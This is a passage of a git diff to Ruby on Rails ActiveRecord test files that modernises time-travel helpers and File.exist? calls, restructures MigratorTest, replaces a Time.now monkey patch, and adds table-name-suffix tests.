+    travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
       copied = ActiveRecord::Migration.copy(@migrations_path, sources)
-      assert File.exists?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
-      assert File.exists?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
-      assert File.exists?(@migrations_path + "/20100726101012_create_articles.omg.rb")
-      assert File.exists?(@migrations_path + "/20100726101013_create_comments.omg.rb")
+      assert File.exist?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
+      assert File.exist?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
+      assert File.exist?(@migrations_path + "/20100726101012_create_articles.omg.rb")
+      assert File.exist?(@migrations_path + "/20100726101013_create_comments.omg.rb")
       assert_equal 4, copied.length
 
       files_count = Dir[@migrations_path + "/*.rb"].length
@@ -786,10 +817,10 @@ class CopyMigrationsTest < ActiveRecord::TestCase
     @migrations_path = MIGRATIONS_ROOT + "/valid_with_timestamps"
     @existing_migrations = Dir[@migrations_path + "/*.rb"]
 
-    Time.travel_to(Time.utc(2010, 2, 20, 10, 10, 10)) do
+    travel_to(Time.utc(2010, 2, 20, 10, 10, 10)) do
       ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
-      assert File.exists?(@migrations_path + "/20100301010102_people_have_hobbies.bukkits.rb")
-      assert File.exists?(@migrations_path + "/20100301010103_people_have_descriptions.bukkits.rb")
+      assert File.exist?(@migrations_path + "/20100301010102_people_have_hobbies.bukkits.rb")
+      assert File.exist?(@migrations_path + "/20100301010103_people_have_descriptions.bukkits.rb")
 
       files_count = Dir[@migrations_path + "/*.rb"].length
       copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
@@ -806,7 +837,7 @@ class CopyMigrationsTest < ActiveRecord::TestCase
     @existing_migrations = Dir[@migrations_path + "/*.rb"]
 
     copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/magic"})
-    assert File.exists?(@migrations_path + "/4_currencies_have_symbols.bukkits.rb")
+    assert File.exist?(@migrations_path + "/4_currencies_have_symbols.bukkits.rb")
     assert_equal [@migrations_path + "/4_currencies_have_symbols.bukkits.rb"], copied.map(&:filename)
 
     expected = "# coding: ISO-8859-15\n# This migration comes from bukkits (originally 1)"
@@ -861,10 +892,10 @@ class CopyMigrationsTest < ActiveRecord::TestCase
     @migrations_path = MIGRATIONS_ROOT + "/non_existing"
     @existing_migrations = []
 
-    Time.travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
+    travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
       copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
-      assert File.exists?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
-      assert File.exists?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
+      assert File.exist?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
+      assert File.exist?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
       assert_equal 2, copied.length
     end
   ensure
@@ -876,10 +907,10 @@ class CopyMigrationsTest < ActiveRecord::TestCase
     @migrations_path = MIGRATIONS_ROOT + "/empty"
     @existing_migrations = []
 
-    Time.travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
+    travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
       copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
-      assert File.exists?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
-      assert File.exists?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
+      assert File.exist?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
+      assert File.exist?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
       assert_equal 2, copied.length
     end
   ensure
@@ -894,4 +925,5 @@ class CopyMigrationsTest < ActiveRecord::TestCase
   ensure
     ActiveRecord::Base.logger = old
   end
+
 end
diff --git a/activerecord/test/cases/migrator_test.rb b/activerecord/test/cases/migrator_test.rb
index 3f9854200d..c0daa83e9c 100644
--- a/activerecord/test/cases/migrator_test.rb
+++ b/activerecord/test/cases/migrator_test.rb
@@ -1,378 +1,388 @@
 require "cases/helper"
 require "cases/migration/helper"
 
-module ActiveRecord
-  class MigratorTest < ActiveRecord::TestCase
-    self.use_transactional_fixtures = false
+class MigratorTest < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false
 
-    # Use this class to sense if migrations have gone
-    # up or down.
-    class Sensor < ActiveRecord::Migration
-      attr_reader :went_up, :went_down
+  # Use this class to sense if migrations have gone
+  # up or down.
+  class Sensor < ActiveRecord::Migration
+    attr_reader :went_up, :went_down
 
-      def initialize name = self.class.name, version = nil
-        super
-        @went_up  = false
-        @went_down = false
-      end
-
-      def up; @went_up = true; end
-      def down; @went_down = true; end
-    end
-
-    def setup
+    def initialize name = self.class.name, version = nil
       super
-      ActiveRecord::SchemaMigration.create_table
-      ActiveRecord::SchemaMigration.delete_all rescue nil
+      @went_up  = false
+      @went_down = false
     end
 
-    def teardown
-      super
-      ActiveRecord::SchemaMigration.delete_all rescue nil
-      ActiveRecord::Migration.verbose = true
-    end
+    def up; @went_up = true; end
+    def down; @went_down = true; end
+  end
 
-    def test_migrator_with_duplicate_names
-      assert_raises(ActiveRecord::DuplicateMigrationNameError, "Multiple migrations have the name Chunky") do
-        list = [Migration.new('Chunky'), Migration.new('Chunky')]
-        ActiveRecord::Migrator.new(:up, list)
+  def setup
+    super
+    ActiveRecord::SchemaMigration.create_table
+    ActiveRecord::SchemaMigration.delete_all rescue nil
+    @verbose_was = ActiveRecord::Migration.verbose
+    ActiveRecord::Migration.message_count = 0
+    ActiveRecord::Migration.class_eval do
+      undef :puts
+      def puts(*)
+        ActiveRecord::Migration.message_count += 1
       end
     end
+  end
 
-    def test_migrator_with_duplicate_versions
-      assert_raises(ActiveRecord::DuplicateMigrationVersionError) do
-        list = [Migration.new('Foo', 1), Migration.new('Bar', 1)]
-        ActiveRecord::Migrator.new(:up, list)
+  teardown do
+    ActiveRecord::SchemaMigration.delete_all rescue nil
+    ActiveRecord::Migration.verbose = @verbose_was
+    ActiveRecord::Migration.class_eval do
+      undef :puts
+      def puts(*)
+        super
       end
     end
+  end
 
-    def test_migrator_with_missing_version_numbers
-      assert_raises(ActiveRecord::UnknownMigrationVersionError) do
-        list = [Migration.new('Foo', 1), Migration.new('Bar', 2)]
-        ActiveRecord::Migrator.new(:up, list, 3).run
-      end
+  def test_migrator_with_duplicate_names
+    assert_raises(ActiveRecord::DuplicateMigrationNameError, "Multiple migrations have the name Chunky") do
+      list = [ActiveRecord::Migration.new('Chunky'), ActiveRecord::Migration.new('Chunky')]
+      ActiveRecord::Migrator.new(:up, list)
     end
+  end
 
-    def test_finds_migrations
-      migrations = ActiveRecord::Migrator.migrations(MIGRATIONS_ROOT + "/valid")
+  def test_migrator_with_duplicate_versions
+    assert_raises(ActiveRecord::DuplicateMigrationVersionError) do
+      list = [ActiveRecord::Migration.new('Foo', 1), ActiveRecord::Migration.new('Bar', 1)]
+      ActiveRecord::Migrator.new(:up, list)
+    end
+  end
 
-      [[1, 'ValidPeopleHaveLastNames'], [2, 'WeNeedReminders'], [3, 'InnocentJointable']].each_with_index do |pair, i|
-        assert_equal migrations[i].version, pair.first
-        assert_equal migrations[i].name, pair.last
-      end
+  def test_migrator_with_missing_version_numbers
+    assert_raises(ActiveRecord::UnknownMigrationVersionError) do
+      list = [ActiveRecord::Migration.new('Foo', 1), ActiveRecord::Migration.new('Bar', 2)]
+      ActiveRecord::Migrator.new(:up, list, 3).run
     end
+  end
 
-    def test_finds_migrations_in_subdirectories
-      migrations = ActiveRecord::Migrator.migrations(MIGRATIONS_ROOT + "/valid_with_subdirectories")
+  def test_finds_migrations
+    migrations = ActiveRecord::Migrator.migrations(MIGRATIONS_ROOT + "/valid")
 
-      [[1, 'ValidPeopleHaveLastNames'], [2, 'WeNeedReminders'], [3, 'InnocentJointable']].each_with_index do |pair, i|
-        assert_equal migrations[i].version, pair.first
-        assert_equal migrations[i].name, pair.last
-      end
+    [[1, 'ValidPeopleHaveLastNames'], [2, 'WeNeedReminders'], [3, 'InnocentJointable']].each_with_index do |pair, i|
+      assert_equal migrations[i].version, pair.first
+      assert_equal migrations[i].name, pair.last
     end
+  end
 
-    def test_finds_migrations_from_two_directories
-      directories = [MIGRATIONS_ROOT + '/valid_with_timestamps', MIGRATIONS_ROOT + '/to_copy_with_timestamps']
-      migrations = ActiveRecord::Migrator.migrations directories
-
-      [[20090101010101, "PeopleHaveHobbies"],
-       [20090101010202, "PeopleHaveDescriptions"],
-       [20100101010101, "ValidWithTimestampsPeopleHaveLastNames"],
-       [20100201010101, "ValidWithTimestampsWeNeedReminders"],
-       [20100301010101, "ValidWithTimestampsInnocentJointable"]].each_with_index do |pair, i|
-        assert_equal pair.first, migrations[i].version
-        assert_equal pair.last, migrations[i].name
-       end
-    end
+  def test_finds_migrations_in_subdirectories
+    migrations = ActiveRecord::Migrator.migrations(MIGRATIONS_ROOT + "/valid_with_subdirectories")
 
-    def test_finds_migrations_in_numbered_directory
-      migrations = ActiveRecord::Migrator.migrations [MIGRATIONS_ROOT + '/10_urban']
-      assert_equal 9, migrations[0].version
-      assert_equal 'AddExpressions', migrations[0].name
+    [[1, 'ValidPeopleHaveLastNames'], [2, 'WeNeedReminders'], [3, 'InnocentJointable']].each_with_index do |pair, i|
+      assert_equal migrations[i].version, pair.first
+      assert_equal migrations[i].name, pair.last
     end
+  end
 
-    def test_relative_migrations
-      list = Dir.chdir(MIGRATIONS_ROOT) do
-        ActiveRecord::Migrator.migrations("valid/")
-      end
+  def test_finds_migrations_from_two_directories
+    directories = [MIGRATIONS_ROOT + '/valid_with_timestamps', MIGRATIONS_ROOT + '/to_copy_with_timestamps']
+    migrations = ActiveRecord::Migrator.migrations directories
+
+    [[20090101010101, "PeopleHaveHobbies"],
+     [20090101010202, "PeopleHaveDescriptions"],
+     [20100101010101, "ValidWithTimestampsPeopleHaveLastNames"],
+     [20100201010101, "ValidWithTimestampsWeNeedReminders"],
+     [20100301010101, "ValidWithTimestampsInnocentJointable"]].each_with_index do |pair, i|
+      assert_equal pair.first, migrations[i].version
+      assert_equal pair.last, migrations[i].name
+     end
+  end
 
-      migration_proxy = list.find { |item|
-        item.name == 'ValidPeopleHaveLastNames'
-      }
-      assert migration_proxy, 'should find pending migration'
+  def test_finds_migrations_in_numbered_directory
+    migrations = ActiveRecord::Migrator.migrations [MIGRATIONS_ROOT + '/10_urban']
+    assert_equal 9, migrations[0].version
+    assert_equal 'AddExpressions', migrations[0].name
+  end
+
+  def test_relative_migrations
+    list = Dir.chdir(MIGRATIONS_ROOT) do
+      ActiveRecord::Migrator.migrations("valid")
     end
 
-    def test_finds_pending_migrations
-      ActiveRecord::SchemaMigration.create!(:version => '1')
-      migration_list = [ Migration.new('foo', 1), Migration.new('bar', 3) ]
-      migrations = ActiveRecord::Migrator.new(:up, migration_list).pending_migrations
+    migration_proxy = list.find { |item|
+      item.name == 'ValidPeopleHaveLastNames'
+    }
+    assert migration_proxy, 'should find pending migration'
+  end
 
-      assert_equal 1, migrations.size
-      assert_equal migration_list.last, migrations.first
-    end
+  def test_finds_pending_migrations
+    ActiveRecord::SchemaMigration.create!(:version => '1')
+    migration_list = [ActiveRecord::Migration.new('foo', 1), ActiveRecord::Migration.new('bar', 3)]
+    migrations = ActiveRecord::Migrator.new(:up, migration_list).pending_migrations
 
-    def test_migrator_interleaved_migrations
-      pass_one = [Sensor.new('One', 1)]
+    assert_equal 1, migrations.size
+    assert_equal migration_list.last, migrations.first
+  end
 
-      ActiveRecord::Migrator.new(:up, pass_one).migrate
-      assert pass_one.first.went_up
-      assert_not pass_one.first.went_down
+  def test_migrator_interleaved_migrations
+    pass_one = [Sensor.new('One', 1)]
 
-      pass_two = [Sensor.new('One', 1), Sensor.new('Three', 3)]
-      ActiveRecord::Migrator.new(:up, pass_two).migrate
-      assert_not pass_two[0].went_up
-      assert pass_two[1].went_up
-      assert pass_two.all? { |x| !x.went_down }
+    ActiveRecord::Migrator.new(:up, pass_one).migrate
+    assert pass_one.first.went_up
+    assert_not pass_one.first.went_down
 
-      pass_three = [Sensor.new('One', 1),
-                    Sensor.new('Two', 2),
-                    Sensor.new('Three', 3)]
+    pass_two = [Sensor.new('One', 1), Sensor.new('Three', 3)]
+    ActiveRecord::Migrator.new(:up, pass_two).migrate
+    assert_not pass_two[0].went_up
+    assert pass_two[1].went_up
+    assert pass_two.all? { |x| !x.went_down }
 
-      ActiveRecord::Migrator.new(:down, pass_three).migrate
-      assert pass_three[0].went_down
-      assert_not pass_three[1].went_down
-      assert pass_three[2].went_down
-    end
+    pass_three = [Sensor.new('One', 1),
+                  Sensor.new('Two', 2),
+                  Sensor.new('Three', 3)]
 
-    def test_up_calls_up
-      migrations = [Sensor.new(nil, 0), Sensor.new(nil, 1), Sensor.new(nil, 2)]
-      ActiveRecord::Migrator.new(:up, migrations).migrate
-      assert migrations.all? { |m| m.went_up }
-      assert migrations.all? { |m| !m.went_down }
-      assert_equal 2, ActiveRecord::Migrator.current_version
-    end
+    ActiveRecord::Migrator.new(:down, pass_three).migrate
+    assert pass_three[0].went_down
+    assert_not pass_three[1].went_down
+    assert pass_three[2].went_down
+  end
 
-    def test_down_calls_down
-      test_up_calls_up
+  def test_up_calls_up
+    migrations = [Sensor.new(nil, 0), Sensor.new(nil, 1), Sensor.new(nil, 2)]
+    ActiveRecord::Migrator.new(:up, migrations).migrate
+    assert migrations.all?(&:went_up)
+    assert migrations.all? { |m| !m.went_down }
+    assert_equal 2, ActiveRecord::Migrator.current_version
+  end
 
-      migrations = [Sensor.new(nil, 0), Sensor.new(nil, 1), Sensor.new(nil, 2)]
-      ActiveRecord::Migrator.new(:down, migrations).migrate
-      assert migrations.all? { |m| !m.went_up }
-      assert migrations.all? { |m| m.went_down }
-      assert_equal 0, ActiveRecord::Migrator.current_version
-    end
+  def test_down_calls_down
+    test_up_calls_up
 
-    def test_current_version
-      ActiveRecord::SchemaMigration.create!(:version => '1000')
-      assert_equal 1000, ActiveRecord::Migrator.current_version
-    end
+    migrations = [Sensor.new(nil, 0), Sensor.new(nil, 1), Sensor.new(nil, 2)]
+    ActiveRecord::Migrator.new(:down, migrations).migrate
+    assert migrations.all? { |m| !m.went_up }
+    assert migrations.all?(&:went_down)
+    assert_equal 0, ActiveRecord::Migrator.current_version
+  end
 
-    def test_migrator_one_up
-      calls, migrations = sensors(3)
+  def test_current_version
+    ActiveRecord::SchemaMigration.create!(:version => '1000')
+    assert_equal 1000, ActiveRecord::Migrator.current_version
+  end
 
-      ActiveRecord::Migrator.new(:up, migrations, 1).migrate
-      assert_equal [[:up, 1]], calls
-      calls.clear
+  def test_migrator_one_up
+    calls, migrations = sensors(3)
 
-      ActiveRecord::Migrator.new(:up, migrations, 2).migrate
-      assert_equal [[:up, 2]], calls
-    end
+    ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+    assert_equal [[:up, 1]], calls
+    calls.clear
 
-    def test_migrator_one_down
-      calls, migrations = sensors(3)
+    ActiveRecord::Migrator.new(:up, migrations, 2).migrate
+    assert_equal [[:up, 2]], calls
+  end
 
-      ActiveRecord::Migrator.new(:up, migrations).migrate
-      assert_equal [[:up, 1], [:up, 2], [:up, 3]], calls
-      calls.clear
+  def test_migrator_one_down
+    calls, migrations = sensors(3)
 
-      ActiveRecord::Migrator.new(:down, migrations, 1).migrate
+    ActiveRecord::Migrator.new(:up, migrations).migrate
+    assert_equal [[:up, 1], [:up, 2], [:up, 3]], calls
+    calls.clear
 
-      assert_equal [[:down, 3], [:down, 2]], calls
-    end
+    ActiveRecord::Migrator.new(:down, migrations, 1).migrate
 
-    def test_migrator_one_up_one_down
-      calls, migrations = sensors(3)
+    assert_equal [[:down, 3], [:down, 2]], calls
+  end
 
-      ActiveRecord::Migrator.new(:up, migrations, 1).migrate
-      assert_equal [[:up, 1]], calls
-      calls.clear
+  def test_migrator_one_up_one_down
+    calls, migrations = sensors(3)
 
-      ActiveRecord::Migrator.new(:down, migrations, 0).migrate
-      assert_equal [[:down, 1]], calls
-    end
+    ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+    assert_equal [[:up, 1]], calls
+    calls.clear
 
-    def test_migrator_double_up
-      calls, migrations = sensors(3)
-      assert_equal(0, ActiveRecord::Migrator.current_version)
+    ActiveRecord::Migrator.new(:down, migrations, 0).migrate
+    assert_equal [[:down, 1]], calls
+  end
 
-      ActiveRecord::Migrator.new(:up, migrations, 1).migrate
-      assert_equal [[:up, 1]], calls
-      calls.clear
+  def test_migrator_double_up
+    calls, migrations = sensors(3)
+    assert_equal(0, ActiveRecord::Migrator.current_version)
 
-      ActiveRecord::Migrator.new(:up, migrations, 1).migrate
-      assert_equal [], calls
-    end
+    ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+    assert_equal [[:up, 1]], calls
+    calls.clear
 
-    def test_migrator_double_down
-      calls, migrations = sensors(3)
+    ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+    assert_equal [], calls
+  end
 
-      assert_equal(0, ActiveRecord::Migrator.current_version)
+  def test_migrator_double_down
+    calls, migrations = sensors(3)
 
-      ActiveRecord::Migrator.new(:up, migrations, 1).run
-      assert_equal [[:up, 1]], calls
-      calls.clear
+    assert_equal(0, ActiveRecord::Migrator.current_version)
 
-      ActiveRecord::Migrator.new(:down, migrations, 1).run
-      assert_equal [[:down, 1]], calls
-      calls.clear
+    ActiveRecord::Migrator.new(:up, migrations, 1).run
+    assert_equal [[:up, 1]], calls
+    calls.clear
 
-      ActiveRecord::Migrator.new(:down, migrations, 1).run
-      assert_equal [], calls
+    ActiveRecord::Migrator.new(:down, migrations, 1).run
+    assert_equal [[:down, 1]], calls
+    calls.clear
 
-      assert_equal(0, ActiveRecord::Migrator.current_version)
-    end
+    ActiveRecord::Migrator.new(:down, migrations, 1).run
+    assert_equal [], calls
 
-    def test_migrator_verbosity
-      _, migrations = sensors(3)
+    assert_equal(0, ActiveRecord::Migrator.current_version)
+  end
 
-      ActiveRecord::Migrator.new(:up, migrations, 1).migrate
-      assert_not_equal 0, ActiveRecord::Migration.message_count
+  def test_migrator_verbosity
+    _, migrations = sensors(3)
 
-      ActiveRecord::Migration.message_count = 0
+    ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+    assert_not_equal 0, ActiveRecord::Migration.message_count
 
-      ActiveRecord::Migrator.new(:down, migrations, 0).migrate
-      assert_not_equal 0, ActiveRecord::Migration.message_count
-      ActiveRecord::Migration.message_count = 0
-    end
+    ActiveRecord::Migration.message_count = 0
 
-    def test_migrator_verbosity_off
-      _, migrations = sensors(3)
+    ActiveRecord::Migrator.new(:down, migrations, 0).migrate
+    assert_not_equal 0, ActiveRecord::Migration.message_count
+  end
 
-      ActiveRecord::Migration.message_count = 0
-      ActiveRecord::Migration.verbose = false
-      ActiveRecord::Migrator.new(:up, migrations, 1).migrate
-      assert_equal 0, ActiveRecord::Migration.message_count
-      ActiveRecord::Migrator.new(:down, migrations, 0).migrate
-      assert_equal 0, ActiveRecord::Migration.message_count
-    end
+  def test_migrator_verbosity_off
+    _, migrations = sensors(3)
 
-    def test_target_version_zero_should_run_only_once
-      calls, migrations = sensors(3)
+    ActiveRecord::Migration.message_count = 0
+    ActiveRecord::Migration.verbose = false
+    ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+    assert_equal 0, ActiveRecord::Migration.message_count
+    ActiveRecord::Migrator.new(:down, migrations, 0).migrate
+    assert_equal 0, ActiveRecord::Migration.message_count
+  end
 
-      # migrate up to 1
-      ActiveRecord::Migrator.new(:up, migrations, 1).migrate
-      assert_equal [[:up, 1]], calls
-      calls.clear
+  def test_target_version_zero_should_run_only_once
+    calls, migrations = sensors(3)
 
-      # migrate down to 0
-      ActiveRecord::Migrator.new(:down, migrations, 0).migrate
-      assert_equal [[:down, 1]], calls
-      calls.clear
+    # migrate up to 1
+    ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+    assert_equal [[:up, 1]], calls
+    calls.clear
 
-      # migrate down to 0 again
-      ActiveRecord::Migrator.new(:down, migrations, 0).migrate
-      assert_equal [], calls
-    end
+    # migrate down to 0
+    ActiveRecord::Migrator.new(:down, migrations, 0).migrate
+    assert_equal [[:down, 1]], calls
+    calls.clear
 
-    def test_migrator_going_down_due_to_version_target
-      calls, migrator = migrator_class(3)
+    # migrate down to 0 again
+    ActiveRecord::Migrator.new(:down, migrations, 0).migrate
+    assert_equal [], calls
+  end
 
-      migrator.up("valid", 1)
-      assert_equal [[:up, 1]], calls
-      calls.clear
+  def test_migrator_going_down_due_to_version_target
+    calls, migrator = migrator_class(3)
 
-      migrator.migrate("valid", 0)
-      assert_equal [[:down, 1]], calls
-      calls.clear
+    migrator.up("valid", 1)
+    assert_equal [[:up, 1]], calls
+    calls.clear
 
-      migrator.migrate("valid")
-      assert_equal [[:up, 1], [:up, 2], [:up, 3]], calls
-    end
+    migrator.migrate("valid", 0)
+    assert_equal [[:down, 1]], calls
+    calls.clear
 
-    def test_migrator_rollback
-      _, migrator = migrator_class(3)
+    migrator.migrate("valid")
+    assert_equal [[:up, 1], [:up, 2], [:up, 3]], calls
+  end
 
-      migrator.migrate("valid")
-      assert_equal(3, ActiveRecord::Migrator.current_version)
+  def test_migrator_rollback
+    _, migrator = migrator_class(3)
 
-      migrator.rollback("valid")
-      assert_equal(2, ActiveRecord::Migrator.current_version)
+    migrator.migrate("valid")
+    assert_equal(3, ActiveRecord::Migrator.current_version)
 
-      migrator.rollback("valid")
-      assert_equal(1, ActiveRecord::Migrator.current_version)
+    migrator.rollback("valid")
+    assert_equal(2, ActiveRecord::Migrator.current_version)
 
-      migrator.rollback("valid")
-      assert_equal(0, ActiveRecord::Migrator.current_version)
+    migrator.rollback("valid")
+    assert_equal(1, ActiveRecord::Migrator.current_version)
 
-      migrator.rollback("valid")
-      assert_equal(0, ActiveRecord::Migrator.current_version)
-    end
+    migrator.rollback("valid")
+    assert_equal(0, ActiveRecord::Migrator.current_version)
 
-    def test_migrator_db_has_no_schema_migrations_table
-      _, migrator = migrator_class(3)
+    migrator.rollback("valid")
+    assert_equal(0, ActiveRecord::Migrator.current_version)
+  end
 
-      ActiveRecord::Base.connection.execute("DROP TABLE schema_migrations")
-      assert_not ActiveRecord::Base.connection.table_exists?('schema_migrations')
-      migrator.migrate("valid", 1)
-      assert ActiveRecord::Base.connection.table_exists?('schema_migrations')
-    end
+  def test_migrator_db_has_no_schema_migrations_table
+    _, migrator = migrator_class(3)
 
-    def test_migrator_forward
-      _, migrator = migrator_class(3)
-      migrator.migrate("/valid", 1)
-      assert_equal(1, ActiveRecord::Migrator.current_version)
+    ActiveRecord::Base.connection.execute("DROP TABLE schema_migrations")
+    assert_not ActiveRecord::Base.connection.table_exists?('schema_migrations')
+    migrator.migrate("valid", 1)
+    assert ActiveRecord::Base.connection.table_exists?('schema_migrations')
+  end
 
-      migrator.forward("/valid", 2)
-      assert_equal(3, ActiveRecord::Migrator.current_version)
+  def test_migrator_forward
+    _, migrator = migrator_class(3)
+    migrator.migrate("/valid", 1)
+    assert_equal(1, ActiveRecord::Migrator.current_version)
 
-      migrator.forward("/valid")
-      assert_equal(3, ActiveRecord::Migrator.current_version)
-    end
+    migrator.forward("/valid", 2)
+    assert_equal(3, ActiveRecord::Migrator.current_version)
+
+    migrator.forward("/valid")
+    assert_equal(3, ActiveRecord::Migrator.current_version)
+  end
 
-    def test_only_loads_pending_migrations
-      # migrate up to 1
-      ActiveRecord::SchemaMigration.create!(:version => '1')
+  def test_only_loads_pending_migrations
+    # migrate up to 1
+    ActiveRecord::SchemaMigration.create!(:version => '1')
 
-      calls, migrator = migrator_class(3)
-      migrator.migrate("valid", nil)
+    calls, migrator = migrator_class(3)
+    migrator.migrate("valid", nil)
 
-      assert_equal [[:up, 2], [:up, 3]], calls
-    end
+    assert_equal [[:up, 2], [:up, 3]], calls
+  end
 
-    def test_get_all_versions
-      _, migrator = migrator_class(3)
+  def test_get_all_versions
+    _, migrator = migrator_class(3)
 
-      migrator.migrate("valid")
-      assert_equal([1,2,3], ActiveRecord::Migrator.get_all_versions)
+    migrator.migrate("valid")
+    assert_equal([1,2,3], ActiveRecord::Migrator.get_all_versions)
 
-      migrator.rollback("valid")
-      assert_equal([1,2], ActiveRecord::Migrator.get_all_versions)
+    migrator.rollback("valid")
+    assert_equal([1,2], ActiveRecord::Migrator.get_all_versions)
 
-      migrator.rollback("valid")
-      assert_equal([1], ActiveRecord::Migrator.get_all_versions)
+    migrator.rollback("valid")
+    assert_equal([1], ActiveRecord::Migrator.get_all_versions)
 
-      migrator.rollback("valid")
-      assert_equal([], ActiveRecord::Migrator.get_all_versions)
-    end
+    migrator.rollback("valid")
+    assert_equal([], ActiveRecord::Migrator.get_all_versions)
+  end
 
-    private
-    def m(name, version, &block)
-      x = Sensor.new name, version
-      x.extend(Module.new {
-        define_method(:up) { block.call(:up, x); super() }
-        define_method(:down) { block.call(:down, x); super() }
-      }) if block_given?
-    end
+  private
+  def m(name, version)
+    x = Sensor.new name, version
+    x.extend(Module.new {
+      define_method(:up) { yield(:up, x); super() }
+      define_method(:down) { yield(:down, x); super() }
+    }) if block_given?
+  end
 
-    def sensors(count)
-      calls = []
-      migrations = count.times.map { |i|
-        m(nil, i + 1) { |c,migration|
-          calls << [c, migration.version]
-        }
+  def sensors(count)
+    calls = []
+    migrations = count.times.map { |i|
+      m(nil, i + 1) { |c,migration|
+        calls << [c, migration.version]
       }
-      [calls, migrations]
-    end
+    }
+    [calls, migrations]
+  end
 
-    def migrator_class(count)
-      calls, migrations = sensors(count)
+  def migrator_class(count)
+    calls, migrations = sensors(count)
 
-      migrator = Class.new(Migrator).extend(Module.new {
-        define_method(:migrations) { |paths|
-          migrations
-        }
-      })
-      [calls, migrator]
-    end
+    migrator = Class.new(ActiveRecord::Migrator).extend(Module.new {
+      define_method(:migrations) { |paths|
+        migrations
+      }
+    })
+    [calls, migrator]
   end
 end
diff --git a/activerecord/test/cases/mixin_test.rb b/activerecord/test/cases/mixin_test.rb
index f927c13979..7ddb2bfee1 100644
--- a/activerecord/test/cases/mixin_test.rb
+++ b/activerecord/test/cases/mixin_test.rb
@@ -3,42 +3,15 @@ require "cases/helper"
 class Mixin < ActiveRecord::Base
 end
 
-# Let us control what Time.now returns for the TouchTest suite
-class Time
-  @@forced_now_time = nil
-  cattr_accessor :forced_now_time
-
-  class << self
-    def now_with_forcing
-      if @@forced_now_time
-        @@forced_now_time
-      else
-        now_without_forcing
-      end
-    end
-    alias_method_chain :now, :forcing
-  end
-end
-
-
 class TouchTest < ActiveRecord::TestCase
   fixtures :mixins
 
-  def setup
-    Time.forced_now_time = Time.now
+  setup do
+    travel_to Time.now
   end
 
-  def teardown
-    Time.forced_now_time = nil
-  end
-
-  def test_time_mocking
-    five_minutes_ago = 5.minutes.ago
-    Time.forced_now_time = five_minutes_ago
-    assert_equal five_minutes_ago, Time.now
-
-    Time.forced_now_time = nil
-    assert_not_equal five_minutes_ago, Time.now
+  teardown do
+    travel_back
   end
 
   def test_update
@@ -68,12 +41,13 @@ class TouchTest < ActiveRecord::TestCase
 
     old_updated_at = stamped.updated_at
 
-    Time.forced_now_time = 5.minutes.from_now
-    stamped.lft_will_change!
-    stamped.save
+    travel 5.minutes do
+      stamped.lft_will_change!
+      stamped.save
 
-    assert_equal Time.now, stamped.updated_at
-    assert_equal old_updated_at, stamped.created_at
+      assert_equal Time.now, stamped.updated_at
+      assert_equal old_updated_at, stamped.created_at
+    end
   end
 
   def test_create_turned_off
diff --git a/activerecord/test/cases/modules_test.rb b/activerecord/test/cases/modules_test.rb
index 08b3408665..6f65bf80eb 100644
--- a/activerecord/test/cases/modules_test.rb
+++ b/activerecord/test/cases/modules_test.rb
@@ -1,6 +1,8 @@
 require "cases/helper"
 require 'models/company_in_module'
 require 'models/shop'
+require 'models/developer'
+require 'models/computer'
 
 class ModulesTest < ActiveRecord::TestCase
   fixtures :accounts, :companies, :projects, :developers, :collections, :products, :variants
@@ -17,7 +19,7 @@ class ModulesTest < ActiveRecord::TestCase
     ActiveRecord::Base.store_full_sti_class = false
   end
 
-  def teardown
+  teardown do
     # reinstate the constants that we undefined in the setup
     @undefined_consts.each do |constant, value|
       Object.send :const_set, constant, value unless value.nil?
@@ -111,6 +113,34 @@ class ModulesTest < ActiveRecord::TestCase
     classes.each(&:reset_table_name)
   end
 
+  def test_module_table_name_suffix
+    assert_equal 'companies_suffixed', MyApplication::Business::Suffixed::Company.table_name, 'inferred table_name for ActiveRecord model in module with table_name_suffix'
+    assert_equal 'companies_suffixed', MyApplication::Business::Suffixed::Nested::Company.table_name, 'table_name for ActiveRecord model in nested module with a parent table_name_suffix'
+    assert_equal 'companies', MyApplication::Business::Suffixed::Firm.table_name, 'explicit table_name for ActiveRecord model in module with table_name_suffix should not be suffixed'
+  end
+
+  def test_module_table_name_suffix_with_global_suffix
+    classes = [ MyApplication::Business::Company,
+                MyApplication::Business::Firm,
+                MyApplication::Business::Client,
+                MyApplication::Business::Client::Contact,
+                MyApplication::Business::Developer,
+                MyApplication::Business::Project,
+                MyApplication::Business::Suffixed::Company,
+                MyApplication::Business::Suffixed::Nested::Company,
+                MyApplication::Billing::Account ]
+
+    ActiveRecord::Base.table_name_suffix = '_global'
+    classes.each(&:reset_table_name)
